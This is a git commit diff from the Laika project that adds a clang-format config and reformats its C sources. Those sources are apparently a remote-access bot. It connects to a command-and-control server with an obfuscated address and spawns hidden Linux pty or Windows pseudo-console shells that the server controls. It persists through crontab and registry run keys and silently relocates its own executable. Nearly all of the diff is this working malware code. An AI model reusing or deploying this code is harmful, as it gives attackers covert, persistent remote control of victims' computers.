Added .clang-format, formatted codebase

This commit is contained in:
CPunch 2022-06-27 18:57:00 -05:00
parent 1d6ce15b3d
commit 48fa8935c3
46 changed files with 1756 additions and 1242 deletions

28
.clang-format Normal file
View File

@ -0,0 +1,28 @@
---
Language: Cpp
# BasedOnStyle: Mozilla
AccessModifierOffset: -2
AlignAfterOpenBracket: Align
AlignArrayOfStructures: Right
AlignConsecutiveMacros: AcrossEmptyLinesAndComments
AlignConsecutiveAssignments: None
AlignConsecutiveBitFields: None
AlignConsecutiveDeclarations: None
AlignEscapedNewlines: Right
AlignOperands: Align
AlignTrailingComments: true
AllowAllArgumentsOnNextLine: true
AllowShortEnumsOnASingleLine: false
AllowShortFunctionsOnASingleLine: None
AllowShortBlocksOnASingleLine: Never
AllowShortIfStatementsOnASingleLine: Never
AlwaysBreakAfterReturnType: None
BreakBeforeBraces: Mozilla
IndentWidth: 4
ColumnLimit: 100
IncludeBlocks: Regroup
IndentPPDirectives: AfterHash
MacroBlockBegin: "^LAIKA_TRY$"
MacroBlockEnd: "^LAIKA_TRYEND$"
...

View File

@ -3,14 +3,15 @@
#include "laika.h"
#include "lpacket.h"
#include "lsocket.h"
#include "lpeer.h"
#include "ltask.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "lsodium.h"
#include "ltask.h"
struct sLaika_shell;
struct sLaika_bot {
struct sLaika_bot
{
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_shell *shells[LAIKA_MAX_SHELLS];
struct sLaika_pollList pList;
@ -23,9 +24,11 @@ struct sLaika_bot {
struct sLaika_bot *laikaB_newBot(void);
void laikaB_freeBot(struct sLaika_bot *bot);
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
/* can throw a LAIKA_ERROR */
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port);
bool laikaB_poll(struct sLaika_bot *bot);
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
void *uData);
#endif

View File

@ -2,11 +2,13 @@
#define LAIKA_SHELL_H
#include <stddef.h>
#include <stdbool.h>
#define LAIKA_SHELL_TASK_DELTA 50
struct sLaika_bot;
struct sLaika_shell {
struct sLaika_shell
{
uint32_t id;
};
@ -19,13 +21,15 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* handles reading & writing to shell pipes */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf,
size_t length);
/* packet handlers */
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData);
#endif

View File

@ -1,32 +1,35 @@
/* platform specific code for achieving persistence on linux */
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/file.h>
#include <pwd.h>
#include "persist.h"
#include "lconfig.h"
#include "lsocket.h"
#include "lerror.h"
#include "lbox.h"
#include "lconfig.h"
#include "lerror.h"
#include "lmem.h"
#include "lsocket.h"
#include "persist.h"
#include <pwd.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
static int laikaB_lockFile;
/* check if laika is running as super-user */
bool laikaB_checkRoot() {
bool laikaB_checkRoot()
{
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
}
/* mark that laika is currently running */
void laikaB_markRunning() {
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_LOCK_FILE);
void laikaB_markRunning()
{
LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_LOCK_FILE);
/* create lock file */
if ((laikaB_lockFile = open(filePath, O_RDWR | O_CREAT, 0666)) == -1)
LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n", filePath);
LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n",
filePath);
/* create lock */
if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0)
@ -37,7 +40,8 @@ void laikaB_markRunning() {
}
/* unmark that laika is currently running */
void laikaB_unmarkRunning() {
void laikaB_unmarkRunning()
{
/* close lock */
if (flock(laikaB_lockFile, LOCK_UN) != 0)
LAIKA_ERROR("Failed to close file lock!\n");
@ -46,7 +50,8 @@ void laikaB_unmarkRunning() {
LAIKA_DEBUG("file lock removed!\n");
}
void getCurrentExe(char *outPath, int pathSz) {
void getCurrentExe(char *outPath, int pathSz)
{
int sz;
/* thanks linux :D */
@ -56,7 +61,8 @@ void getCurrentExe(char *outPath, int pathSz) {
outPath[sz] = '\0';
}
void getInstallPath(char *outPath, int pathSz) {
void getInstallPath(char *outPath, int pathSz)
{
struct stat st;
const char *home;
@ -66,8 +72,8 @@ void getInstallPath(char *outPath, int pathSz) {
}
/* create install directory if it doesn't exist */
LAIKA_BOX_SKID_START(char*, dirPath, LAIKA_LIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_INSTALL_FILE);
LAIKA_BOX_SKID_START(char *, dirPath, LAIKA_LIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_INSTALL_FILE);
snprintf(outPath, pathSz, "%s/%s", home, dirPath);
if (stat(outPath, &st) == -1) {
LAIKA_DEBUG("creating '%s'...\n", outPath);
@ -79,7 +85,8 @@ void getInstallPath(char *outPath, int pathSz) {
LAIKA_BOX_SKID_END(filePath);
}
bool checkPersistCron(char *path) {
bool checkPersistCron(char *path)
{
char buf[PATH_MAX + 128];
FILE *fp;
bool res = false;
@ -99,8 +106,9 @@ bool checkPersistCron(char *path) {
return res;
}
void tryPersistCron(char *path) {
LAIKA_BOX_SKID_START(char*, cronCMD, LAIKA_LIN_CRONTAB_ENTRY);
void tryPersistCron(char *path)
{
LAIKA_BOX_SKID_START(char *, cronCMD, LAIKA_LIN_CRONTAB_ENTRY);
char cmd[PATH_MAX + 128];
/* should be 'safe enough' */
@ -115,7 +123,8 @@ void tryPersistCron(char *path) {
}
/* try to gain persistance on machine */
void laikaB_tryPersist() {
void laikaB_tryPersist()
{
char exePath[PATH_MAX];
char installPath[PATH_MAX];
@ -124,7 +133,8 @@ void laikaB_tryPersist() {
getInstallPath(installPath, PATH_MAX);
/* move exe to install path (if it isn't there already) */
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 && rename(exePath, installPath))
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 &&
rename(exePath, installPath))
LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
@ -139,6 +149,7 @@ void laikaB_tryPersist() {
}
/* try to gain root */
void laikaB_tryRoot() {
void laikaB_tryRoot()
{
/* stubbed */
}

View File

@ -1,29 +1,32 @@
/* platform specific code for opening shells in linux */
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <pty.h>
#include "bot.h"
#include "lerror.h"
#include "lmem.h"
#include "ltask.h"
#include "bot.h"
#include "shell.h"
#include <pty.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define LAIKA_LINSHELL_PATH "/bin/sh"
struct sLaika_RAWshell {
struct sLaika_RAWshell
{
struct sLaika_shell _shell;
int pid;
int fd;
};
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
struct winsize ws;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
struct sLaika_RAWshell *shell =
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
ws.ws_col = cols;
ws.ws_row = rows;
@ -32,21 +35,22 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
if (shell->pid == 0) {
/* child process, clone & run shell */
execlp(LAIKA_LINSHELL_PATH, "sh", (char*) NULL);
execlp(LAIKA_LINSHELL_PATH, "sh", (char *)NULL);
exit(0);
}
/* make sure our calls to read() & write() do not block */
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
laikaB_freeShell(bot, (struct sLaika_shell*)shell);
laikaB_freeShell(bot, (struct sLaika_shell *)shell);
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
}
return (struct sLaika_shell*)shell;
return (struct sLaika_shell *)shell;
}
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
/* kill the shell */
kill(shell->pid, SIGTERM);
@ -57,13 +61,14 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
/* ====================================[[ Shell Handlers ]]===================================== */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t));
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t));
if (rd > 0) {
/* we read some input! send to cnc */
@ -82,10 +87,12 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
return true;
}
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
size_t length)
{
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
size_t nLeft;
int nWritten;

View File

@ -1,19 +1,23 @@
#include "bot.h"
#include "lbox.h"
#include "lerror.h"
#include "lmem.h"
#include "lsodium.h"
#include "lerror.h"
#include "lbox.h"
#include "bot.h"
#include "shell.h"
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
uint8_t endianness = laikaS_readByte(&peer->sock);
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n",
(endianness ? "TRUE" : "FALSE"));
}
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
LAIKA_DEBUG("got ping from cnc!\n");
/* stubbed */
}
@ -48,17 +52,19 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
/* clang-format on */
/* socket event */
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData)
{
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
laikaS_kill(&bot->peer->sock);
}
/* ==========================================[[ Bot ]]========================================== */
struct sLaika_bot *laikaB_newBot(void) {
LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY);
struct sLaika_bot *laikaB_newBot(void)
{
LAIKA_BOX_SKID_START(char *, cncPubKey, LAIKA_PUBKEY);
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
struct hostent *host;
char *tempINBuf;
@ -66,16 +72,11 @@ struct sLaika_bot *laikaB_newBot(void) {
int i;
laikaP_initPList(&bot->pList);
bot->peer = laikaS_newPeer(
laikaB_pktTbl,
&bot->pList,
laikaB_onPollFail,
(void*)bot,
(void*)bot
);
bot->peer =
laikaS_newPeer(laikaB_pktTbl, &bot->pList, laikaB_onPollFail, (void *)bot, (void *)bot);
laikaT_initTaskService(&bot->tService);
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void*)bot);
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void *)bot);
/* init shells */
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
@ -112,7 +113,7 @@ struct sLaika_bot *laikaB_newBot(void) {
LAIKA_ERROR("gethostbyname() failed!\n");
}
if ((tempINBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) {
if ((tempINBuf = inet_ntoa(*((struct in_addr *)host->h_addr_list[0]))) == NULL) {
laikaB_freeBot(bot);
LAIKA_ERROR("inet_ntoa() failed!\n");
}
@ -123,7 +124,8 @@ struct sLaika_bot *laikaB_newBot(void) {
return bot;
}
void laikaB_freeBot(struct sLaika_bot *bot) {
void laikaB_freeBot(struct sLaika_bot *bot)
{
int i;
/* clear shells */
@ -138,7 +140,8 @@ void laikaB_freeBot(struct sLaika_bot *bot) {
laikaM_free(bot);
}
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port)
{
struct sLaika_socket *sock = &bot->peer->sock;
/* setup socket */
@ -153,17 +156,23 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
laikaS_writeByte(sock, LAIKA_OSTYPE);
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
/* write public key */
laikaS_write(sock, bot->pub, sizeof(bot->pub));
laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_write(sock, bot->peer->inet, LAIKA_INET_LEN);
laikaS_endOutPacket(bot->peer);
laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
/* after the cnc receives our handshake, our packets will be encrypted */
laikaS_setSecure(bot->peer, true);
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv,
bot->peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n");
}
bool laikaB_poll(struct sLaika_bot *bot) {
bool laikaB_poll(struct sLaika_bot *bot)
{
struct sLaika_pollEvent *evnt;
int numEvents;
@ -184,8 +193,10 @@ bool laikaB_poll(struct sLaika_bot *bot) {
return true;
}
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG);
}

View File

@ -1,26 +1,31 @@
#include <stdio.h>
#include "bot.h"
#include "lbox.h"
#include "lconfig.h"
#include "lerror.h"
#include "ltask.h"
#include "bot.h"
#include "shell.h"
#include "persist.h"
#include "shell.h"
#include <stdio.h>
#ifdef _WIN32
# ifndef DEBUG
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) {
# else
int main() {
# endif
#ifndef DEBUG
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
{
#else
int main() {
int main()
{
#endif
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left in memory the entire time.
not only that but they're only obfuscating the ip & port, both are things anyone would see from opening wireshark */
LAIKA_BOX_SKID_START(char*, cncIP, LAIKA_CNC_IP);
LAIKA_BOX_SKID_START(char*, cncPORT, LAIKA_CNC_PORT);
#else
int main()
{
#endif
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left
in memory the entire time.
not only that but they're only obfuscating the ip & port, both are things anyone would see
from opening wireshark */
LAIKA_BOX_SKID_START(char *, cncIP, LAIKA_CNC_IP);
LAIKA_BOX_SKID_START(char *, cncPORT, LAIKA_CNC_PORT);
struct sLaika_bot *bot;
#ifdef LAIKA_PERSISTENCE

View File

@ -1,24 +1,28 @@
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "lerror.h"
#include "lmem.h"
#include "bot.h"
#include "shell.h"
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
#include "bot.h"
#include "lerror.h"
#include "lmem.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
if (bot->activeShells++ > LAIKA_MAX_SHELLS)
LAIKA_ERROR("Failed to allocate new shell, max shells reached!\n");
/* start shell task */
if (!bot->shellTask)
bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot);
bot->shellTask =
laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void *)bot);
return bot->shells[id] = laikaB_newRAWShell(bot, cols, rows, id);
}
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell)
{
uint32_t id = shell->id;
/* tell cnc shell is closed */
@ -39,8 +43,9 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
/* ====================================[[ Packet Handlers ]]==================================== */
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
uint32_t id;
uint16_t cols, rows;
@ -61,8 +66,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
}
}
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
uint32_t id;
@ -76,31 +82,34 @@ void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
laikaB_freeShell(bot, shell);
}
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
uint32_t id;
/* read data buf */
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
laikaS_read(&peer->sock, buf, sz-sizeof(uint32_t));
laikaS_read(&peer->sock, buf, sz - sizeof(uint32_t));
/* sanity check shell */
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
/* write to shell */
laikaB_writeShell(bot, shell, buf, sz-sizeof(uint32_t));
laikaB_writeShell(bot, shell, buf, sz - sizeof(uint32_t));
}
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
if ((shell = bot->shells[i]))
laikaB_readShell(bot, shell);
laikaB_readShell(bot, shell);
}
}

View File

@ -1,28 +1,30 @@
/* platform specific code for achieving persistence on windows (FORCES ASCII) */
#include <windows.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <windows.h>
#pragma comment(lib, "Shlwapi.lib")
#pragma comment(lib, "Shlwapi.lib")
#include "persist.h"
#include "lconfig.h"
#include "lmem.h"
#include "lerror.h"
#include "lvm.h"
#include "lbox.h"
#include "lconfig.h"
#include "lerror.h"
#include "lmem.h"
#include "lvm.h"
#include "persist.h"
HANDLE laikaB_mutex;
/* check if laika is running as super-user */
bool laikaB_checkRoot() {
bool laikaB_checkRoot()
{
return true; /* stubbed for now */
}
/* mark that laika is currently running */
void laikaB_markRunning() {
LAIKA_BOX_SKID_START(char*, mutex, LAIKA_WIN_MUTEX);
void laikaB_markRunning()
{
LAIKA_BOX_SKID_START(char *, mutex, LAIKA_WIN_MUTEX);
laikaB_mutex = OpenMutexA(MUTEX_ALL_ACCESS, false, mutex);
@ -37,11 +39,13 @@ void laikaB_markRunning() {
}
/* unmark that laika is currently running */
void laikaB_unmarkRunning() {
void laikaB_unmarkRunning()
{
ReleaseMutex(laikaB_mutex);
}
HKEY openReg(HKEY key, LPCSTR subKey) {
HKEY openReg(HKEY key, LPCSTR subKey)
{
HKEY hKey;
if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
@ -51,7 +55,8 @@ HKEY openReg(HKEY key, LPCSTR subKey) {
}
/* returns raw string value from registry */
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) {
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz)
{
LPSTR str = NULL;
DWORD ret;
@ -69,14 +74,16 @@ LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) {
return str;
}
void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz) {
void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz)
{
LONG code;
if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to write registry!\n");
}
void getExecutablePath(LPSTR path) {
void getExecutablePath(LPSTR path)
{
CHAR modulePath[MAX_PATH] = {0};
if (GetModuleFileNameA(NULL, modulePath, MAX_PATH) == 0)
LAIKA_ERROR("Failed to get executable path!\n");
@ -88,12 +95,14 @@ void getExecutablePath(LPSTR path) {
LAIKA_DEBUG("EXE: %s\n", path);
}
void getInstallPath(LPSTR path) {
LAIKA_BOX_SKID_START(char*, instDir, LAIKA_WIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char*, instFile, LAIKA_WIN_INSTALL_FILE);
void getInstallPath(LPSTR path)
{
LAIKA_BOX_SKID_START(char *, instDir, LAIKA_WIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char *, instFile, LAIKA_WIN_INSTALL_FILE);
CHAR SHpath[MAX_PATH] = {0};
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and
* microsoft will probably never completely remove it :P */
if (SHGetFolderPathA(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK)
LAIKA_ERROR("Failed to get APPDATA!\n");
@ -108,17 +117,18 @@ void getInstallPath(LPSTR path) {
lstrcpyA(path, "\"");
lstrcatA(path, SHpath);
lstrcatA(path, "\"");
LAIKA_DEBUG("INSTALL: %s\n", path);
LAIKA_BOX_SKID_END(instFile);
LAIKA_BOX_SKID_END(instDir);
}
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we
spawn a shell to move the exe *after* we exit. */
void installSelf() {
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH*4)] = {0};
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to
the executable is open), so we spawn a shell to move the exe *after* we exit. */
void installSelf()
{
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH * 4)] = {0};
getExecutablePath(szFile);
getInstallPath(szInstall);
@ -130,24 +140,27 @@ void installSelf() {
LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall);
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y "); /* TODO: move this string to a secret box */
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika
* TODO: move this string to a secret box */
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y ");
lstrcatA(szCmd, szFile);
lstrcatA(szCmd, " ");
lstrcatA(szCmd, szInstall);
lstrcatA(szCmd, " > NUL & ");
lstrcatA(szCmd, szInstall);
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 ||
(INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
LAIKA_ERROR("Failed to start shell for moving exe!\n");
laikaB_unmarkRunning();
exit(0);
}
void installRegistry() {
LAIKA_BOX_SKID_START(char*, regKey, LAIKA_WIN_REG_KEY);
LAIKA_BOX_SKID_START(char*, regKeyVal, LAIKA_WIN_REG_VAL);
void installRegistry()
{
LAIKA_BOX_SKID_START(char *, regKey, LAIKA_WIN_REG_KEY);
LAIKA_BOX_SKID_START(char *, regKeyVal, LAIKA_WIN_REG_VAL);
CHAR newRegValue[MAX_PATH] = {0};
LPSTR regVal;
DWORD regSz;
@ -182,12 +195,14 @@ void installRegistry() {
}
/* try to gain persistance on machine */
void laikaB_tryPersist() {
void laikaB_tryPersist()
{
installRegistry();
installSelf();
}
/* try to gain root */
void laikaB_tryRoot() {
void laikaB_tryRoot()
{
/* stubbed */
}

View File

@ -1,14 +1,15 @@
/* platform specific code for opening shells (pseudo consoles) on windows */
#include "bot.h"
#include "lerror.h"
#include "lmem.h"
#include "bot.h"
#include "shell.h"
#include <windows.h>
#include <process.h>
#include <windows.h>
/* shells are significantly more complex on windows than linux for laika */
struct sLaika_RAWshell {
struct sLaika_RAWshell
{
struct sLaika_shell _shell;
HANDLE in, out;
PROCESS_INFORMATION procInfo;
@ -16,12 +17,16 @@ struct sLaika_RAWshell {
HPCON pseudoCon;
};
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows);
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
int rows);
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC);
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {;
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
;
TCHAR szComspec[MAX_PATH];
struct sLaika_RAWshell* shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
struct sLaika_RAWshell *shell =
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
HRESULT hr;
ZeroMemory(shell, sizeof(struct sLaika_RAWshell));
@ -50,34 +55,35 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
}
/* launch cmd shell */
hr = CreateProcess(
NULL, /* No module name - use Command Line */
szComspec, /* Command Line */
NULL, /* Process handle not inheritable */
NULL, /* Thread handle not inheritable */
FALSE, /* Inherit handles */
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
NULL, /* Use parent's environment block */
NULL, /* Use parent's starting directory */
&shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
? S_OK : HRESULT_FROM_WIN32(GetLastError());
hr = CreateProcess(NULL, /* No module name - use Command Line */
